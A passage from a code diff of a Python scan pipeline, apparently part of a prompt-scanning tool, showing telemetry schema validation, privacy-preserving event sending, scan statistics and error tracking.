|
|
882
|
+
|
|
883
|
+
Returns:
|
|
884
|
+
Hex-encoded SHA256 hash
|
|
885
|
+
"""
|
|
886
|
+
return hashlib.sha256(text.encode("utf-8")).hexdigest()
|
|
887
|
+
|
|
888
|
+
def _validate_telemetry_event(self, payload: dict[str, object]) -> bool:
|
|
889
|
+
"""Validate telemetry event against schema.
|
|
890
|
+
|
|
891
|
+
Args:
|
|
892
|
+
payload: Telemetry event payload
|
|
893
|
+
|
|
894
|
+
Returns:
|
|
895
|
+
True if valid or validation disabled, False if invalid
|
|
896
|
+
"""
|
|
897
|
+
if not self._validator:
|
|
898
|
+
return True # Validation disabled or failed to init
|
|
899
|
+
|
|
900
|
+
try:
|
|
901
|
+
is_valid, errors = self._validator.validate_scan_event(payload)
|
|
902
|
+
|
|
903
|
+
if not is_valid:
|
|
904
|
+
self._validation_errors += 1
|
|
905
|
+
|
|
906
|
+
if self.schema_validation_mode == "log_only":
|
|
907
|
+
# Just log errors, don't block
|
|
908
|
+
logger.debug(f"Telemetry validation failed: {errors}")
|
|
909
|
+
return True # Allow send anyway
|
|
910
|
+
|
|
911
|
+
elif self.schema_validation_mode == "warn":
|
|
912
|
+
# Log warning but allow send
|
|
913
|
+
logger.warning(
|
|
914
|
+
f"Telemetry validation failed: {errors}. "
|
|
915
|
+
f"Sending anyway (mode=warn)"
|
|
916
|
+
)
|
|
917
|
+
return True
|
|
918
|
+
|
|
919
|
+
elif self.schema_validation_mode == "enforce":
|
|
920
|
+
# Block invalid data
|
|
921
|
+
logger.error(
|
|
922
|
+
f"Telemetry validation failed: {errors}. "
|
|
923
|
+
f"Blocked (mode=enforce)"
|
|
924
|
+
)
|
|
925
|
+
return False
|
|
926
|
+
|
|
927
|
+
return True
|
|
928
|
+
|
|
929
|
+
except Exception as e:
|
|
930
|
+
logger.warning(f"Schema validation error: {e}")
|
|
931
|
+
return True # Don't block on validation errors
|
|
932
|
+
|
|
933
|
+
def _send_telemetry(
|
|
934
|
+
self,
|
|
935
|
+
result: ScanPipelineResult,
|
|
936
|
+
customer_id: str | None,
|
|
937
|
+
) -> None:
|
|
938
|
+
"""Send privacy-preserving telemetry.
|
|
939
|
+
|
|
940
|
+
Sends only:
|
|
941
|
+
- Text hash (NOT the actual text)
|
|
942
|
+
- Detection counts
|
|
943
|
+
- Severity levels
|
|
944
|
+
- Performance metrics
|
|
945
|
+
- Customer ID (for analytics)
|
|
946
|
+
|
|
947
|
+
NEVER sends:
|
|
948
|
+
- Actual text content
|
|
949
|
+
- Pattern matches
|
|
950
|
+
- Any PII
|
|
951
|
+
|
|
952
|
+
Args:
|
|
953
|
+
result: Scan pipeline result
|
|
954
|
+
customer_id: Customer ID
|
|
955
|
+
"""
|
|
956
|
+
# Build telemetry payload (privacy-first)
|
|
957
|
+
payload: dict[str, object] = {
|
|
958
|
+
"event_name": "scan_performed",
|
|
959
|
+
"prompt_hash": result.text_hash,
|
|
960
|
+
"timestamp": result.metadata.get("scan_timestamp"),
|
|
961
|
+
"max_severity": result.severity or "none",
|
|
962
|
+
"detection_count": result.total_detections,
|
|
963
|
+
"l1_detection_count": result.scan_result.l1_detection_count,
|
|
964
|
+
"l2_prediction_count": result.scan_result.l2_prediction_count,
|
|
965
|
+
"scan_duration_ms": result.duration_ms,
|
|
966
|
+
"policy_action": result.policy_decision.value,
|
|
967
|
+
"blocked": result.should_block,
|
|
968
|
+
}
|
|
969
|
+
|
|
970
|
+
# Add optional fields
|
|
971
|
+
if customer_id:
|
|
972
|
+
payload["customer_id"] = customer_id
|
|
973
|
+
|
|
974
|
+
# Validate if enabled
|
|
975
|
+
if self.enable_schema_validation:
|
|
976
|
+
if not self._validate_telemetry_event(payload):
|
|
977
|
+
# Validation failed in enforce mode - don't send
|
|
978
|
+
logger.warning("Telemetry blocked due to schema validation failure")
|
|
979
|
+
return
|
|
980
|
+
|
|
981
|
+
# Send via telemetry hook
|
|
982
|
+
try:
|
|
983
|
+
self.telemetry_hook.send(payload)
|
|
984
|
+
except Exception:
|
|
985
|
+
# Never fail scan due to telemetry errors
|
|
986
|
+
# Just log and continue (logging happens in hook)
|
|
987
|
+
pass
|
|
988
|
+
|
|
989
|
+
@property
|
|
990
|
+
def average_scan_time_ms(self) -> float:
|
|
991
|
+
"""Average scan time across all scans.
|
|
992
|
+
|
|
993
|
+
Returns:
|
|
994
|
+
Average duration in milliseconds
|
|
995
|
+
"""
|
|
996
|
+
if self._scan_count == 0:
|
|
997
|
+
return 0.0
|
|
998
|
+
return self._total_duration_ms / self._scan_count
|
|
999
|
+
|
|
1000
|
+
@property
|
|
1001
|
+
def scan_count(self) -> int:
|
|
1002
|
+
"""Total number of scans performed."""
|
|
1003
|
+
return self._scan_count
|
|
1004
|
+
|
|
1005
|
+
def get_stats(self) -> dict[str, object]:
|
|
1006
|
+
"""Get pipeline statistics.
|
|
1007
|
+
|
|
1008
|
+
Returns:
|
|
1009
|
+
Dictionary with performance metrics
|
|
1010
|
+
"""
|
|
1011
|
+
return {
|
|
1012
|
+
"scan_count": self._scan_count,
|
|
1013
|
+
"average_scan_time_ms": self.average_scan_time_ms,
|
|
1014
|
+
"total_duration_ms": self._total_duration_ms,
|
|
1015
|
+
"enable_l2": self.enable_l2,
|
|
1016
|
+
"fail_fast_on_critical": self.fail_fast_on_critical,
|
|
1017
|
+
}
|
|
1018
|
+
|
|
1019
|
+
def _track_scan_error(
|
|
1020
|
+
self,
|
|
1021
|
+
error: Exception,
|
|
1022
|
+
error_code: str = "SCAN_001",
|
|
1023
|
+
is_recoverable: bool = False,
|
|
1024
|
+
) -> None:
|
|
1025
|
+
"""Track a scan error via telemetry orchestrator.
|
|
1026
|
+
|
|
1027
|
+
This is a helper method that safely tracks errors without letting
|
|
1028
|
+
telemetry failures break the main scan flow.
|
|
1029
|
+
|
|
1030
|
+
Args:
|
|
1031
|
+
error: The exception that occurred
|
|
1032
|
+
error_code: Error code for categorization
|
|
1033
|
+
is_recoverable: Whether the error is recoverable
|
|
1034
|
+
"""
|
|
1035
|
+
try:
|
|
1036
|
+
orchestrator = get_orchestrator()
|
|
1037
|
+
if orchestrator and orchestrator.is_enabled():
|
|
1038
|
+
# Determine error type based on exception type
|
|
1039
|
+
error_type = "internal_error"
|
|
1040
|
+
if isinstance(error, ValueError):
|
|
1041
|
+
error_type = "validation_error"
|
|
1042
|
+
elif isinstance(error, TimeoutError):
|
|
1043
|
+
error_type = "timeout_error"
|
|
1044
|
+
elif isinstance(error, PermissionError):
|
|
1045
|
+
error_type = "permission_error"
|
|
1046
|
+
elif isinstance(error, OSError):
|
|
1047
|
+
error_type = "network_error"
|
|
1048
|
+
|
|
1049
|
+
orchestrator.track_error(
|
|
1050
|
+
error_type=error_type, # type: ignore[arg-type]
|
|
1051
|
+
error_code=error_code,
|
|
1052
|
+
component="engine",
|
|
1053
|
+
error_message=str(error),
|
|
1054
|
+
is_recoverable=is_recoverable,
|
|
1055
|
+
operation="scan",
|
|
1056
|
+
)
|
|
1057
|
+
except Exception as e:
|
|
1058
|
+
# Never let telemetry errors break scanning
|
|
1059
|
+
logger.debug(f"Error tracking failed (non-blocking): {e}")
|